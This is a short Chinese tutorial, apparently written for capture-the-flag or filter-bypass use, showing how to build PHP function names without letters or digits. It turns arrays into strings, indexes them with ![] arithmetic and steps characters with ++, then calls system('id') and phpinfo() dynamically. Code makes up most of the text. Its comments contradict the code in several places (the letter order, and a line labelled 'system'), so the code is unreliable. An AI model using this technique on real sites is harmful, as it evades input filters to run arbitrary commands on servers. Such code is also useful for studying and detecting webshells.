首先就是利用数字与字符串拼接。数组会变成字符串的Array
然后利用![]
返回1
![]+![]+![]
用来截取任意字符串
++$x
就能得到任意字符
<?php
$Φ=([].Φ)[![]+![]+![]];//a
$Χ=++$Φ;//b
$Ψ=++$Χ;//c
$Ω=++$Ψ;//d
$Ϊ=++$Ω;//e
$Ϋ=++$Ϊ;//f
$ά=++$Ϋ;//g
$έ=++$ά;//h
$ή=++$έ;//i
$ί=++$ή;//j
$ΰ=++$ί;//k
$α=++$ΰ;//m
$β=++$α;//n
$γ=++$β;//l
$δ=++$γ;//o
$ε=++$δ;//p
$ζ=++$ε;//q
$η=++$ζ;//r
$θ=++$η;//s
$ι=++$θ;//t
$κ=++$ι;//u
$λ=++$κ;//v
$μ=++$λ;//w
$ν=++$μ;//x
$ξ=++$ν;//y
$ο=++$ξ;//z
$ο=([].Φ)[![]+![]+![]];//system
($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ);//system(id)
?>
前面这种方法是利用++来获取所有字符。然后拼接动态执行任意代码
也可以直接++。到有用的字符串再继续赋值
<?php
$Φ=([].Φ)[''];//A
++$Φ;
++$Φ;
++$Φ;
++$Φ;
$α=++$Φ;//F
++$Φ;
$ν=++$Φ;//H
$θ=++$Φ;//I
++$Φ;
++$Φ;
++$Φ;
++$Φ;
$Ω=++$Φ;//L
$λ=++$Φ;//O
$η=++$Φ;//P
++$Φ;
++$Φ;
++$Φ;
++$Φ;
++$Φ;
++$Φ;
++$Φ;
++$Φ;
++$Φ;
++$Φ;
($η.$ν.$η.$θ.$Ω.$α.$λ)()
?>
由于PHP不分大小写PHPINFO==phpinfo
需要数字。可以通过
$Φ=([].Φ)[''];//A
+$Φ;//0
或者。直接通过[].[]
得到ArrayArray
然后``([].[])[![]]得到r